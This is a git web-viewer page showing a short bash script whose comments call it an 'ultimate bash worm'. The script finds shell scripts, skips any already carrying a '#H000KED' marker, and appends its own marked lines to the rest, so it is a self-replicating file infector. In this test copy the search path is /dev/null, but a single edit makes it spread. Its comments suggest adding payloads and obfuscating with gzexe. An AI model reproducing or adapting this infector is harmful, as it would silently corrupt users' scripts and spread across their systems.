fixed funding links
[mirrors/Programs.git] / bash / infect / infect-test.bash
CommitLineData
21c4e167
H
1#!/bin/bash
2 # Harvie's ultimate bash worm ;P
3 # This absolutely SUX, but -W0W- i've learned bash basix while writing it!
4 # Protected against 31337-script-kiddies (edit-first-line)...
5 # You can gzexe this script, but add the H000KED comment at end of some line...
6 # Now it's just spreading, it's simple to add anything else...
7 # Copyright = a+rwx; No warranty, responsibility, etc... ;D
8
9echo [*] PWNED BY \<-- HARVIE 2oo7 && sleep 2 #H000KED
10for i in $( find /dev/null 2> /dev/null | grep -i "\.bash\$\|\.sh\$" ); do #H000KED
11 if ( fgrep "\#H000KED" $i > /dev/null ); then
12 echo Already infected: $i #H000KED
13 continue #H000KED
14 fi #H000KED
15 echo >> $i #H000KED
16 cat $0 | grep \#H000KED >> $i
17 echo Newly infected: $i #H000KED
18done #H000KED
This page took 0.148556 seconds and 4 git commands to generate.